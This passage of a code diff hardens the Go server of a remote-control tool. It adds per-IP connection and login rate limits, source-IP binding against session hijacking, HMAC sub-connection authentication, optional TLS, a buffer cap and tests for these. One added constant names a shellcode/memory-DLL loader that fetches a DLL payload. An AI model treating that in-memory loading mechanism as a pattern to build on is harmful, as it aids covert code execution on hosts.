+	ack[protocol.ConnAuthAckOffStatus] = status
+	binary.LittleEndian.PutUint64(
+		ack[protocol.ConnAuthAckOffServerTime:protocol.ConnAuthAckOffServerTime+8],
+		uint64(time.Now().Unix()))
+	if err := h.srv.Send(ctx, ack); err != nil {
+		h.log.Error("ConnAuth reject send failed for conn=%d: %v", ctx.ID, err)
+	}
+	h.log.Warn("ConnAuth rejected conn=%d ip=%s status=%d", ctx.ID, ctx.GetPeerIP(), status)
+	_ = ctx.Close()
+}
+
 // deviceIDOfSubConn resolves the parent device of a sub-conn from the
 // ClientID pinned by handleConnAuth. Returns "" for the rare case of a
 // legacy client that skipped ConnAuth (the Go server's only target is
@@ -217,10 +295,16 @@ func (h *MyHandler) handleTerminalStart(ctx *connection.Context, isPTY bool) {
 		return
 	}
 	if !h.hub.BindTerminalConn(devID, ctx, isPTY) {
-		// No pending session — this is a stale sub-conn (e.g. browser
-		// gave up and closed term_close already). Drop it.
-		h.log.Warn("orphan terminal sub-conn: device=%s conn=%d isPTY=%v",
-			devID, ctx.ID, isPTY)
+		// Either a stale sub-conn (no pending session — browser gave up and
+		// closed term_close already), or a hijack attempt from a source IP
+		// other than the device's login conn. Log the latter distinctly.
+		if mc := h.hub.MainConn(devID); mc != nil && mc.GetPeerIP() != ctx.GetPeerIP() {
+			h.log.Warn("terminal sub-conn rejected (foreign source IP): device=%s conn=%d src=%s want=%s",
+				devID, ctx.ID, ctx.GetPeerIP(), mc.GetPeerIP())
+		} else {
+			h.log.Warn("orphan terminal sub-conn: device=%s conn=%d isPTY=%v",
+				devID, ctx.ID, isPTY)
+		}
 		ctx.Close()
 		return
 	}
@@ -253,9 +337,16 @@ func (h *MyHandler) handleBitmapInfo(ctx *connection.Context, data []byte) {
 	deviceID := strconv.FormatUint(clientID, 10)
 
 	if !h.hub.BindScreenConn(deviceID, ctx) {
-		// Device not registered — main login hasn't happened (or device just
-		// went offline). Drop the orphan sub-conn rather than leak it.
-		h.log.Warn("orphan screen sub-conn %d for unknown device %s; closing", ctx.ID, deviceID)
+		// A failed bind is either a plain orphan (device not registered, or it
+		// just went offline) or a hijack attempt — a sub-conn claiming a
+		// MasterID from a different source IP than the device's login conn.
+		// The latter is a security signal worth surfacing distinctly.
+		if mc := h.hub.MainConn(deviceID); mc != nil && mc.GetPeerIP() != ctx.GetPeerIP() {
+			h.log.Warn("screen sub-conn rejected (foreign source IP): device=%s conn=%d src=%s want=%s",
+				deviceID, ctx.ID, ctx.GetPeerIP(), mc.GetPeerIP())
+		} else {
+			h.log.Warn("orphan screen sub-conn %d for unknown device %s; closing", ctx.ID, deviceID)
+		}
 		ctx.Close()
 		return
 	}
@@ -497,6 +588,20 @@ func (h *MyHandler) sendMasterSetting(ctx *connection.Context, startTime, client
 
 // handleAuth handles authorization request (TOKEN_AUTH = 100)
 func (h *MyHandler) handleAuth(ctx *connection.Context, data []byte) {
+	// Per-IP throttle on TOKEN_AUTH: rate-limit online passcode-guessing
+	// attempts against the device authorization protocol. On exceed we answer
+	// with a normal "failed" response (resp[0]=0) so the client gets a
+	// definitive answer instead of hanging, while a brute-forcer is capped.
+	ip := ctx.GetPeerIP()
+	if !h.loginLimit.Allow(ip) {
+		h.log.Warn("TOKEN_AUTH rate-limited: ip=%s conn=%d", ip, ctx.ID)
+		resp := h.auth.BuildResponse(&auth.AuthResult{Valid: false, Message: "尝试过于频繁，请稍后再试"})
+		if err := h.srv.Send(ctx, resp); err != nil {
+			h.log.Error("Failed to send rate-limit auth response to client %d: %v", ctx.ID, err)
+		}
+		return
+	}
+
 	result := h.auth.Authenticate(data)
 	info := ctx.GetInfo()
 
@@ -674,6 +779,19 @@ func normalizeBasePath(s string) string {
 	return "/" + s
 }
 
+// envInt parses an integer env var, returning def when unset or malformed.
+func envInt(name string, def int) int {
+	v := strings.TrimSpace(os.Getenv(name))
+	if v == "" {
+		return def
+	}
+	n, err := strconv.Atoi(v)
+	if err != nil {
+		return def
+	}
+	return n
+}
+
 // runIssueToken handles the "issue-token" subcommand. It mints a customer JWT
 // signed with the operator's RSA private key and prints it to stdout.
 //
@@ -875,23 +993,71 @@ func main() {
 		log.Warn("Failed to load %s: %v (continuing with admin only)", usersFile, err)
 	}
 
+	// TCP authorization (TOKEN_AUTH) brute-force throttle. Keyed by source IP
+	// (the real TCP peer — there is no X-Forwarded-For on the device port).
+	// Generous enough that a NAT office whose devices all re-auth at once is
+	// unaffected, tight enough to make online passcode guessing impractical.
+	authLoginLimit := wsauth.NewRateLimiter(120, time.Minute)
+
+	// Bounded-key hygiene: prune aged-out entries so the per-IP map cannot grow
+	// without bound. Runs for the process lifetime (a daemon goroutine; the
+	// process exits via the SIGINT/SIGTERM handler at the bottom of main).
+	go func() {
+		t := time.NewTicker(time.Minute)
+		defer t.Stop()
+		for range t.C {
+			authLoginLimit.Sweep()
+		}
+	}()
+
+	// Optional one-way TLS on the device port. Both vars must be set to enable;
+	// a cert without its key (or vice versa) is treated as disabled with a
+	// warning. The cert is loaded (and errors surfaced) inside Server.Start().
+	tlsCert := os.Getenv("YAMA_TLS_CERT")
+	tlsKey := os.Getenv("YAMA_TLS_KEY")
+	if tlsCert != "" && tlsKey != "" {
+		log.Info("TLS enabled for device port (one-way): cert=%s", tlsCert)
+	} else if tlsCert != "" || tlsKey != "" {
+		log.Warn("TLS disabled: both YAMA_TLS_CERT and YAMA_TLS_KEY must be set")
+	} else {
+		log.Info("TLS disabled (YAMA_TLS_CERT/YAMA_TLS_KEY not set) — device port is plaintext")
+	}
+
+	// Optional ConnAuth HMAC verification for sub-connections (screen/terminal/
+	// file). The shared key must match what the client signs with — either the
+	// client's built-in HMAC key (see client license.cpp / license_unix.cpp) or
+	// a custom key once the client is taught to read one. Unset means legacy
+	// behavior: accept any sub-connection and rely on the source-IP check in
+	// hub.BindScreenConn alone.
+	var connAuthKey []byte
+	if v := strings.TrimSpace(os.Getenv("YAMA_CONN_AUTH_KEY")); v != "" {
+		connAuthKey = []byte(v)
+		log.Info("ConnAuth HMAC verification enabled for device sub-connections (YAMA_CONN_AUTH_KEY)")
+	}
+
 	// Create servers for each port
 	var servers []*server.Server
 	for _, port := range ports {
 		config := server.DefaultConfig()
 		config.Port = port
 		config.MaxConnections = 9999
+		config.PerIPMaxConnections = envInt("YAMA_PERIP_MAX_CONNS", config.PerIPMaxConnections)
+		config.PerIPConnRateLimit = envInt("YAMA_PERIP_CONN_RATE", config.PerIPConnRateLimit)
+		config.TLSCertFile = tlsCert
+		config.TLSKeyFile = tlsKey
 
 		srv := server.New(config)
 		srv.SetLogger(log.WithPrefix(fmt.Sprintf("Server:%d", port)))
 
 		// Create handler for this server
 		handler := &MyHandler{
-			log:    log.WithPrefix(fmt.Sprintf("Handler:%d", port)),
-			auth:   authenticator,
-			srv:    srv,
-			hub:    deviceHub,
-			signer: signer,
+			log:         log.WithPrefix(fmt.Sprintf("Handler:%d", port)),
+			auth:        authenticator,
+			srv:         srv,
+			hub:         deviceHub,
+			signer:      signer,
+			loginLimit:  authLoginLimit,
+			connAuthKey: connAuthKey,
 		}
 		srv.SetHandler(handler)
 
@@ -935,12 +1101,35 @@ func main() {
 	if basePath != "" {
 		log.Info("Serving web UI under base path %q (subpath deployment)", basePath)
 	}
+	// White-label title: when the web UI is mounted under another domain
+	// (basePath != ""), replace the SimpleRemoter branding with this name.
+	// YAMA_WEB_BRAND_NAME is human-editable; empty falls back to the base
+	// path's last segment (e.g. "/remoter" → "Remoter").
+	brandName := strings.TrimSpace(os.Getenv("YAMA_WEB_BRAND_NAME"))
+	if brandName != "" {
+		log.Info("White-label web UI title %q (YAMA_WEB_BRAND_NAME)", brandName)
+	}
+	// SSO: an optional detector bridges an already-authenticated portal
+	// session into a YAMA web session via /sso — but only for portal
+	// administrators. Any other portal role (viewer, unknown) still has to
+	// authenticate against YAMA's own login form. The built-in JWT detector is
+	// enabled by YAMA_SSO_JWT_SECRET (the shared HS256 secret); a different
+	// portal can plug in its own web.SSODetector by assigning webCfg.SSO.
+	var ssoDetector web.SSODetector
+	if secret := os.Getenv("YAMA_SSO_JWT_SECRET"); secret != "" {
+		ssoDetector = web.NewJWTDetector(web.JWTDetectorConfig{Secret: secret})
+		log.Info("SSO enabled: bridging portal admins into web sessions via /sso")
+	} else {
+		log.Info("SSO disabled (YAMA_SSO_JWT_SECRET not set) — web login only")
+	}
 	webCfg := web.Config{
 		AllowedOrigins:    allowedOrigins,
 		LoginIPLimit:      wsauth.NewRateLimiter(10, time.Minute),
 		LoginUserLimit:    wsauth.NewRateLimiter(5, 15*time.Minute),
 		TrustForwardedFor: trustProxy,
 		BasePath:          basePath,
+		BrandName:         brandName,
+		SSO:               ssoDetector,
 	}
 
 	// Start HTTP server for web UI. Hub gives it read-only access to the

server/go/cmd/verify_conn_auth_test.go

@@ -0,0 +1,103 @@
+package main
+
+import (
+	"crypto/hmac"
+	"crypto/sha256"
+	"encoding/binary"
+	"encoding/hex"
+	"testing"
+	"time"
+
+	"github.com/yuanyuanxiang/SimpleRemoter/server/go/protocol"
+)
+
+// connAuthTestKey is an arbitrary non-secret key used only to exercise the
+// verifyConnAuth code path in tests. The production key is never compiled in:
+// it is read from the YAMA_CONN_AUTH_KEY environment variable at startup.
+const connAuthTestKey = "test-conn-auth-key"
+
+// signConnAuth reproduces the client's ConnAuth signature: hex(HMAC-SHA256(key,
+// clientID||timestamp||nonce)) as 64 lowercase hex chars. Mirrors
+// client/IOCPClient.cpp PerformConnAuth + license.cpp signMessage.
+func signConnAuth(key string, clientID, ts uint64, nonce [16]byte) string {
+	mac := hmac.New(sha256.New, []byte(key))
+	var msg [32]byte
+	binary.LittleEndian.PutUint64(msg[0:8], clientID)
+	binary.LittleEndian.PutUint64(msg[8:16], ts)
+	copy(msg[16:32], nonce[:])
+	mac.Write(msg[:])
+	return hex.EncodeToString(mac.Sum(nil))
+}
+
+func testNonce() [16]byte {
+	var n [16]byte
+	for i := range n {
+		n[i] = byte(i)
+	}
+	return n
+}
+
+// TestConnAuthHmacAlgorithmVector pins the signing algorithm and byte layout
+// (HMAC-SHA256 over clientID||timestamp||nonce, lowercase hex) against a vector
+// computed independently with Python's hmac/hashlib (not Go's crypto). The key
+// value is irrelevant here — what matters is that the server reproduces the
+// exact signing the client performs. The real key is supplied at runtime via
+// YAMA_CONN_AUTH_KEY, never compiled in.
+func TestConnAuthHmacAlgorithmVector(t *testing.T) {
+	const want = "e59bf1259c77e065afa604cb5b1794b0c8c03fbb7e3473f5c3c34c2b94a90406"
+	if got := signConnAuth(connAuthTestKey, 0x1122334455667788, 1700000000, testNonce()); got != want {
+		t.Fatalf("HMAC mismatch:\n got  %s\n want %s", got, want)
+	}
+}
+
+func TestVerifyConnAuth(t *testing.T) {
+	h := &MyHandler{connAuthKey: []byte(connAuthTestKey)}
+
+	build := func(ts uint64, sig []byte) []byte {
+		pkt := make([]byte, protocol.ConnAuthPacketSize)
+		pkt[0] = protocol.TokenConnAuth
+		binary.LittleEndian.PutUint64(pkt[protocol.ConnAuthOffClientID:], 0x1122334455667788)
+		binary.LittleEndian.PutUint64(pkt[protocol.ConnAuthOffTimestamp:], ts)
+		for i := range 16 {
+			pkt[protocol.ConnAuthOffNonce+i] = byte(i)
+		}
+		copy(pkt[protocol.ConnAuthOffSignature:], sig)
+		return pkt
+	}
+
+	nonce := testNonce()
+
+	t.Run("ok", func(t *testing.T) {
+		ts := uint64(time.Now().Unix())
+		sig := signConnAuth(connAuthTestKey, 0x1122334455667788, ts, nonce)
+		if got := h.verifyConnAuth(build(ts, []byte(sig))); got != protocol.ConnAuthStatusOK {
+			t.Fatalf("expected OK, got status %d", got)
+		}
+	})
+
+	t.Run("bad_signature", func(t *testing.T) {
+		ts := uint64(time.Now().Unix())
+		sig := signConnAuth(connAuthTestKey, 0x1122334455667788, ts, nonce)
+		pkt := build(ts, []byte(sig))
+		pkt[protocol.ConnAuthOffSignature] ^= 0xff
+		if got := h.verifyConnAuth(pkt); got != protocol.ConnAuthStatusBadSignature {
+			t.Fatalf("expected BadSignature, got %d", got)
+		}
+	})
+
+	t.Run("clock_skew", func(t *testing.T) {
+		// Just outside the 300 s tolerance, with a signature valid for that
+		// timestamp, so the skew check fires before the signature check.
+		ts := uint64(time.Now().Unix()) - protocol.ConnAuthTimestampToleranceSec - 1
+		sig := signConnAuth(connAuthTestKey, 0x1122334455667788, ts, nonce)
+		if got := h.verifyConnAuth(build(ts, []byte(sig))); got != protocol.ConnAuthStatusClockSkew {
+			t.Fatalf("expected ClockSkew, got %d", got)
+		}
+	})
+
+	t.Run("bad_size", func(t *testing.T) {
+		if got := h.verifyConnAuth([]byte{protocol.TokenConnAuth}); got != protocol.ConnAuthStatusBadSize {
+			t.Fatalf("expected BadSize, got %d", got)
+		}
+	})
+}

server/go/deploy/yama-server.env.example

@@ -33,6 +33,15 @@ YAMA_WEB_TRUST_PROXY=1
 # WebSocket Origin 白名单（逗号分隔）。空 = 仅允许同源
 #YAMA_WEB_ALLOWED_ORIGINS=https://你的域名
 
+# ---------- SSO（单点登录，可选）----------
+
+# 共享的 HS256 签名密钥。设置后启用 SSO：YAMA 校验父域名（如 FMS 网关）下发的
+# auth_token JWT，通过后为门户管理员铸一枚 YAMA 会话、免二次登录。
+# 取值必须与上游门户的签名密钥一致（FMS 即 SERVER_PRIVATE_KEY）。
+# ⚠️ 仅 admin 角色的门户用户会被自动登录；其他角色（viewer / 未知）即使已登录
+#    门户，也必须再输一遍 YAMA 自己的 Web 登录密码（/sso 返回 401 → 回退登录页）。
+#YAMA_SSO_JWT_SECRET=
+
 # ---------- 授权 / 许可（signer）----------
 # 优先级：YAMA_SIGN_PASSWORD > YAMA_LICENSE_DISABLED=1 > YAMA_LICENSE_TOKEN > 匿名试用
 
@@ -48,6 +57,9 @@ YAMA_WEB_TRUST_PROXY=1
 # 客户 JWT（付费客户解锁设备配额）
 #YAMA_LICENSE_TOKEN=
 
+# ⚠️ EnvironmentFile 只在服务启动时读一次：改本文件后必须 systemctl restart <服务>，
+#    否则改动不生效（现象：启动日志仍是 "Signer mode: TRIAL" 而非 REMOTE）
+
 # 缓存 TTL（小时，RemoteSigner 离线缓存，默认 24）
 #YAMA_LICENSE_OFFLINE_HRS=24
 

server/go/hub/hub.go

@@ -299,6 +299,17 @@ func (h *Hub) BindScreenConn(deviceID string, ctx *connection.Context) bool {
 		h.mu.Unlock()
 		return false
 	}
+	// Bind only sub-connections that originate from the device's own main
+	// connection source IP. Sub-conns are always opened device→server from
+	// the same host as the login conn, so a source-IP mismatch means the
+	// caller is not that device. This is the trust anchor for screen/terminal
+	// sub-conns: the ConnAuth signature key lives in a vendored client
+	// library and cannot be verified here, so without this check any internet
+	// host could claim an online device's MasterID and hijack its stream.
+	if d.PeerIP != "" && ctx.GetPeerIP() != d.PeerIP {
+		h.mu.Unlock()
+		return false
+	}
 	old := d.screenConn
 	d.screenConn = ctx
 	// The cached resolution and last IDR belong to the old encoder's
@@ -693,6 +704,13 @@ func (h *Hub) BindTerminalConn(deviceID string, ctx *connection.Context, isPTY b
 		h.mu.Unlock()
 		return false
 	}
+	// Same trust anchor as BindScreenConn: a terminal sub-conn must come from
+	// the device's own main-connection source IP, otherwise any internet host
+	// could claim the pending session and hijack the shell.
+	if d.PeerIP != "" && ctx.GetPeerIP() != d.PeerIP {
+		h.mu.Unlock()
+		return false
+	}
 	d.terminalConn = ctx
 	d.terminalIsPTY = isPTY
 	d.terminalPending = false

server/go/hub/hub_test.go

@@ -143,6 +143,60 @@ func TestHubRegisterOverwrites(t *testing.T) {
 	}
 }
 
+// ctxFromIP builds a *connection.Context whose source IP resolves to ip.
+// BindScreenConn/BindTerminalConn compare this against Device.PeerIP.
+func ctxFromIP(ip string) *connection.Context {
+	return &connection.Context{RemoteAddr: ip + ":54321"}
+}
+
+// Sub-conns (screen/terminal) are opened device→server from the same host as
+// the login conn. A caller claiming a MasterID from a different source IP is
+// not that device and must not be able to bind, replace, or hijack the stream.
+func TestHubBindScreenConnIPBinding(t *testing.T) {
+	h := New()
+	h.Register(&Device{ID: "dev", PeerIP: "10.0.0.1"}, stubCtx())
+
+	// First bind from the device's own IP succeeds.
+	if !h.BindScreenConn("dev", ctxFromIP("10.0.0.1")) {
+		t.Fatal("same-IP screen bind should succeed")
+	}
+	// A second conn claiming the same MasterID from a foreign IP is refused,
+	// so it cannot displace the legitimate stream.
+	if h.BindScreenConn("dev", ctxFromIP("203.0.113.9")) {
+		t.Fatal("foreign-IP screen bind should be rejected")
+	}
+
+	// A device that has never bound a screen conn is equally protected.
+	h.Register(&Device{ID: "fresh", PeerIP: "10.0.0.2"}, stubCtx())
+	if h.BindScreenConn("fresh", ctxFromIP("203.0.113.9")) {
+		t.Fatal("foreign-IP first screen bind should be rejected")
+	}
+}
+
+func TestHubBindTerminalConnIPBinding(t *testing.T) {
+	h := New()
+	h.Register(&Device{ID: "dev", PeerIP: "10.0.0.1"}, stubCtx())
+
+	openPending := func(id string) {
+		h.mu.Lock()
+		h.devices[id].terminalPending = true
+		h.mu.Unlock()
+	}
+	openPending("dev")
+
+	// Same-IP terminal bind succeeds and consumes the pending slot.
+	if !h.BindTerminalConn("dev", ctxFromIP("10.0.0.1"), true) {
+		t.Fatal("same-IP terminal bind should succeed")
+	}
+
+	// A second device with a pending session cannot be claimed from elsewhere.
+	h.Register(&Device{ID: "dev2", PeerIP: "10.0.0.2"}, stubCtx())
+	openPending("dev2")
+	if h.BindTerminalConn("dev2", ctxFromIP("203.0.113.9"), true) {
+		t.Fatal("foreign-IP terminal bind should be rejected")
+	}
+}
+
 // Race detector should not fire under `go test -race ./hub/...`.
 func TestHubConcurrent(t *testing.T) {
 	h := New()

server/go/protocol/commands.go

@@ -126,6 +126,7 @@ const (
 	TokenTerminalClose byte = 233 // TOKEN_TERMINAL_CLOSE - shell exited / close ack
 	TokenConnAuth      byte = 246 // TOKEN_CONN_AUTH - sub-connection identity handshake
 	CmdCursorImage     byte = 93  // CMD_CURSOR_IMAGE - custom cursor bitmap (Phase 5+ feature)
+	CmdSockDllLoader   byte = 210 // SOCKET_DLLLOADER - shellcode/memory-DLL loader requests the full DLL payload
 )
 
 // Sub-connection authentication (matches common/commands.h ConnAuth* structs).
@@ -140,11 +141,26 @@ const (
 	ConnAuthOffClientID = 1 // uint64 LE — pin to the sub-conn so later
 	//                       // 1-byte tokens (TOKEN_TERMINAL_START etc.) can
 	//                       // resolve the parent device.
+	ConnAuthOffTimestamp  = 9  // uint64 LE - Unix seconds, anti-replay window
+	ConnAuthOffNonce      = 17 // [16]byte - part of the signed message
+	ConnAuthOffSignature  = 33 // [64]byte - hex of HMAC-SHA256(key, clientID||timestamp||nonce)
+	ConnAuthSignatureSize = 64
+
 	// ConnAuthAck field offsets within the outbound 256-byte buffer.
 	ConnAuthAckOffStatus     = 1 // uint8
 	ConnAuthAckOffServerTime = 2 // uint64 LE
-	// Status codes.
-	ConnAuthStatusOK byte = 0
+	// ConnAuthTimestampToleranceSec bounds |server - client| clock skew in
+	// seconds (matches CONN_AUTH_TIMESTAMP_TOLERANCE_SEC in common/commands.h).
+	// A timestamp outside this window is treated as replayed or forged.
+	ConnAuthTimestampToleranceSec = 300
+
+	// Status codes (match common/commands.h::ConnAuthStatus). The client treats
+	// any non-zero status as failure and drops the sub-connection.
+	ConnAuthStatusOK            byte = 0
+	ConnAuthStatusBadSize       byte = 1 // packet shorter than the signature field
+	ConnAuthStatusClockSkew     byte = 2 // timestamp outside tolerance
+	ConnAuthStatusBadSignature  byte = 3 // HMAC mismatch
+	ConnAuthStatusInternalError byte = 4
 )
 
 // CMD_MASTERSETTING is the server's reply to a fresh client login. The

server/go/server/server.go

@@ -2,6 +2,7 @@ package server
 
 import (
 	"context"
+	"crypto/tls"
 	"io"
 	"net"
 	"sync"
@@ -22,18 +23,47 @@ type Config struct {
 	KeepAliveTime   time.Duration
 	ReadTimeout     time.Duration
 	WriteTimeout    time.Duration
+
+	// MaxBufferedBytes is a hard cap on unparsed inbound bytes buffered per
+	// connection. The protocol's own length field is validated to 50 MiB, but
+	// a peer that sends bytes that never assemble into a complete packet (e.g.
+	// an HTTP-mask envelope without its terminating CRLF CRLF, which Parse()
+	// waits on indefinitely) could otherwise grow the buffer without bound.
+	// Default leaves slack for the largest legitimate packet plus its mask
+	// envelope and a read chunk.
+	MaxBufferedBytes int
+
+	// Per-IP connection limits. The TCP listener (port 6543) is exposed
+	// directly to the public internet, so a single host must not be able to
+	// exhaust the global connection budget or flood new-connection attempts.
+	// Defaults are generous enough for a NAT office with dozens of devices
+	// sharing one source IP; raise them if you run a larger NAT deployment.
+	PerIPMaxConnections int           // max concurrent connections per source IP (0 = unlimited)
+	PerIPConnRateLimit  int           // max new connections per PerIPConnRateWindow per IP (0 = unlimited)
+	PerIPConnRateWindow time.Duration // window for PerIPConnRateLimit
+
+	// TLSCertFile / TLSKeyFile enable optional one-way TLS on the device port.
+	// When both are set the server loads the cert and auto-detects TLS clients
+	// by their ClientHello; plaintext clients keep working unchanged. Both empty
+	// (the default) disables TLS and behaves exactly as before.
+	TLSCertFile string // server certificate (PEM)
+	TLSKeyFile  string // server private key (PEM)
 }
 
 // DefaultConfig returns default configuration
 func DefaultConfig() Config {
 	return Config{
-		Port:            6543,
-		MaxConnections:  9999,
-		ReadBufferSize:  8192,
-		WriteBufferSize: 8192,
-		KeepAliveTime:   time.Minute * 5,
-		ReadTimeout:     time.Minute * 2,
-		WriteTimeout:    time.Second * 30,
+		Port:                6543,
+		MaxConnections:      9999,
+		ReadBufferSize:      8192,
+		WriteBufferSize:     8192,
+		KeepAliveTime:       time.Minute * 5,
+		ReadTimeout:         time.Minute * 2,
+		WriteTimeout:        time.Second * 30,
+		MaxBufferedBytes:    50*1024*1024 + 64*1024,
+		PerIPMaxConnections: 256,
+		PerIPConnRateLimit:  120,
+		PerIPConnRateWindow: time.Minute,
 	}
 }
 
@@ -51,6 +81,11 @@ type Server struct {
 	manager  *connection.Manager
 	handler  Handler
 	parser   *protocol.Parser
+	ipLimit  *ipLimiter
+
+	// tlsCfg is non-nil when one-way TLS is enabled (cert + key configured).
+	// wrapTLS consults it to sniff and wrap incoming connections.
+	tlsCfg *tls.Config
 
 	running atomic.Bool
 	wg      sync.WaitGroup
@@ -69,6 +104,7 @@ func New(config Config) *Server {
 		config:  config,
 		manager: connection.NewManager(config.MaxConnections),
 		parser:  protocol.NewParser(),
+		ipLimit: newIPLimiter(config.PerIPMaxConnections, config.PerIPConnRateLimit, config.PerIPConnRateWindow),
 		ctx:     ctx,
 		cancel:  cancel,
 		logger:  logger.New(logger.DefaultConfig()).WithPrefix("Server"),
@@ -77,6 +113,110 @@ func New(config Config) *Server {
 	return s
 }
 
+// ipLimiter caps concurrent connections and the rate of new connections per
+// source IP. Both limits are per-host, not global, so a single attacker (or a
+// single misbehaving host) cannot starve legitimate devices of the global
+// connection budget.
+type ipLimiter struct {
+	mu            sync.Mutex
+	maxConcurrent int
+	window        time.Duration
+	maxPerWindow  int
+	concurrent    map[string]int
+	recent        map[string][]time.Time
+}
+
+func newIPLimiter(maxConcurrent, maxPerWindow int, window time.Duration) *ipLimiter {
+	return &ipLimiter{
+		maxConcurrent: maxConcurrent,
+		maxPerWindow:  maxPerWindow,
+		window:        window,
+		concurrent:    make(map[string]int),
+		recent:        make(map[string][]time.Time),
+	}
+}
+
+// allow records a new connection from ip and reports whether it is permitted.
+// It enforces both a concurrent cap and a rolling accept-rate cap. An empty ip
+// (which should not occur for a real TCP peer) is not throttled.
+func (l *ipLimiter) allow(ip string) bool {
+	if ip == "" {
+		return true
+	}
+	now := time.Now()
+	l.mu.Lock()
+	defer l.mu.Unlock()
+
+	if l.maxConcurrent > 0 && l.concurrent[ip] >= l.maxConcurrent {
+		return false
+	}
+
+	if l.maxPerWindow > 0 && l.window > 0 {
+		cutoff := now.Add(-l.window)
+		times := l.recent[ip]
+		keep := times[:0]
+		for _, t := range times {
+			if t.After(cutoff) {
+				keep = append(keep, t)
+			}
+		}
+		if len(keep) >= l.maxPerWindow {
+			l.recent[ip] = keep
+			return false
+		}
+		l.recent[ip] = append(keep, now)
+	}
+
+	l.concurrent[ip]++
+	return true
+}
+
+// release decrements the concurrent count for ip. Safe to call on an ip that
+// was never allowed.
+func (l *ipLimiter) release(ip string) {
+	if ip == "" {
+		return
+	}
+	l.mu.Lock()
+	if n := l.concurrent[ip]; n > 1 {
+		l.concurrent[ip] = n - 1
+	} else {
+		delete(l.concurrent, ip)
+	}
+	l.mu.Unlock()
+}
+
+// sweep drops per-IP rate-limit entries whose timestamps have all aged out,
+// keeping the map bounded over a long-running process.
+func (l *ipLimiter) sweep() {
+	l.mu.Lock()
+	defer l.mu.Unlock()
+	cutoff := time.Now().Add(-l.window)
+	for ip, times := range l.recent {
+		keep := times[:0]
+		for _, t := range times {
+			if t.After(cutoff) {
+				keep = append(keep, t)
+			}
+		}
+		if len(keep) == 0 {
+			delete(l.recent, ip)
+		} else {
+			l.recent[ip] = keep
+		}
+	}
+}
+
+// peerIP returns the host part of a net.Addr's string form, mirroring
+// connection.Context.GetPeerIP so accept-time and release-time keys agree.
+func peerIP(addr net.Addr) string {
+	host, _, err := net.SplitHostPort(addr.String())
+	if err != nil {
+		return addr.String()
+	}
+	return host
+}
+
 // SetHandler sets the event handler
 func (s *Server) SetHandler(h Handler) {
 	s.handler = h
@@ -106,6 +246,12 @@ func (s *Server) SetLogger(l *logger.Logger) {
 
 // Start starts the server
 func (s *Server) Start() error {
+	// Load optional one-way TLS cert up front so a bad path/key fails startup
+	// loudly rather than silently serving plaintext.
+	if err := s.loadTLSConfig(); err != nil {
+		return err
+	}
+
 	addr := net.JoinHostPort("0.0.0.0", itoa(s.config.Port))
 	listener, err := net.Listen("tcp", addr)
 	if err != nil {
@@ -120,9 +266,32 @@ func (s *Server) Start() error {
 	s.wg.Add(1)
 	go s.acceptLoop()
 
+	// Periodically prune aged-out per-IP rate-limit entries so the map stays
+	// bounded over a long-running process. Stopped by s.ctx.Done() in Stop().
+	s.wg.Add(1)
+	go s.ipSweepLoop()
+
 	return nil
 }
 
+func (s *Server) ipSweepLoop() {
+	defer s.wg.Done()
+	interval := s.config.PerIPConnRateWindow
+	if interval <= 0 {
+		interval = time.Minute
+	}
+	t := time.NewTicker(interval)
+	defer t.Stop()
+	for {
+		select {
+		case <-s.ctx.Done():
+			return
+		case <-t.C:
+			s.ipLimit.sweep()
+		}
+	}
+}
+
 func itoa(i int) string {
 	if i == 0 {
 		return "0"
@@ -194,16 +363,32 @@ func (s *Server) acceptLoop() {
 			continue
 		}
 
+		// Per-IP connection cap + accept rate. Rejecting here (before any
+		// buffer allocation or goroutine) is cheap, and a rejected device
+		// simply retries on its reconnect loop.
+		if !s.ipLimit.allow(peerIP(conn.RemoteAddr())) {
+			s.logger.Warn("Per-IP connection limit reached, rejecting %s", conn.RemoteAddr())
+			_ = conn.Close()
+			continue
+		}
+
 		// Handle each connection in its own goroutine
 		go s.handleConnection(conn)
 	}
 }
 
 // handleConnection handles a single connection
-func (s *Server) handleConnection(conn net.Conn) {
+func (s *Server) handleConnection(rawConn net.Conn) {
+	// Sniff and (when TLS is enabled) wrap TLS peers; plaintext passes through.
+	conn := s.wrapTLS(rawConn)
+
 	// Create context
 	ctx := connection.NewContext(conn, nil)
 
+	// Always release the per-IP slot on every exit path, including the
+	// manager.Add failure below (a rare accept/add race).
+	defer s.ipLimit.release(ctx.GetPeerIP())
+
 	// Add to manager
 	if err := s.manager.Add(ctx); err != nil {
 		s.logger.Warn("Failed to add connection: %v", err)
@@ -245,6 +430,15 @@ func (s *Server) handleConnection(conn net.Conn) {
 			// Write to input buffer
 			_, _ = ctx.InBuffer.Write(buf[:n])
 
+			// Hard cap on unparsed inbound bytes (memory-DoS guard). A peer
+			// that sends bytes that never assemble into a complete packet can
+			// otherwise grow this buffer without bound.
+			if s.config.MaxBufferedBytes > 0 && ctx.InBuffer.Len() > s.config.MaxBufferedBytes {
+				s.logger.Warn("Inbound buffer exceeded %d bytes from ip=%s conn=%d — closing",
+					s.config.MaxBufferedBytes, ctx.GetPeerIP(), ctx.ID)
+				break
+			}
+
 			// Process received data
 			s.processData(ctx)
 		}

server/go/server/server_test.go

@@ -0,0 +1,132 @@
+package server
+
+import (
+	"bytes"
+	"net"
+	"testing"
+	"time"
+)
+
+func TestIPLimiterConcurrentCap(t *testing.T) {
+	l := newIPLimiter(2, 0, 0) // 2 concurrent, no rate limit
+
+	if !l.allow("10.0.0.1") {
+		t.Fatal("first connection from an IP should be allowed")
+	}
+	if !l.allow("10.0.0.1") {
+		t.Fatal("second connection from an IP should be allowed")
+	}
+	if l.allow("10.0.0.1") {
+		t.Fatal("third concurrent connection from the same IP should be rejected")
+	}
+
+	// A different IP is unaffected.
+	if !l.allow("10.0.0.2") {
+		t.Fatal("a different IP should not share the first IP's cap")
+	}
+
+	// Releasing one slot frees capacity again.
+	l.release("10.0.0.1")
+	if !l.allow("10.0.0.1") {
+		t.Fatal("after release, the IP should have a free slot")
+	}
+}
+
+func TestIPLimiterRateLimit(t *testing.T) {
+	l := newIPLimiter(0, 3, time.Minute) // no concurrent cap, 3/min per IP
+
+	for range 3 {
+		if !l.allow("10.0.0.1") {
+			t.Fatal("an attempt within budget should be allowed")
+		}
+	}
+	if l.allow("10.0.0.1") {
+		t.Fatal("4th connection within the window should be rejected")
+	}
+	// A different IP has its own budget.
+	if !l.allow("10.0.0.2") {
+		t.Fatal("a different IP should have its own rate budget")
+	}
+}
+
+func TestIPLimiterEmptyIPBypasses(t *testing.T) {
+	l := newIPLimiter(1, 1, time.Minute)
+	// An empty peer IP (shouldn't happen for real TCP) must not be throttled,
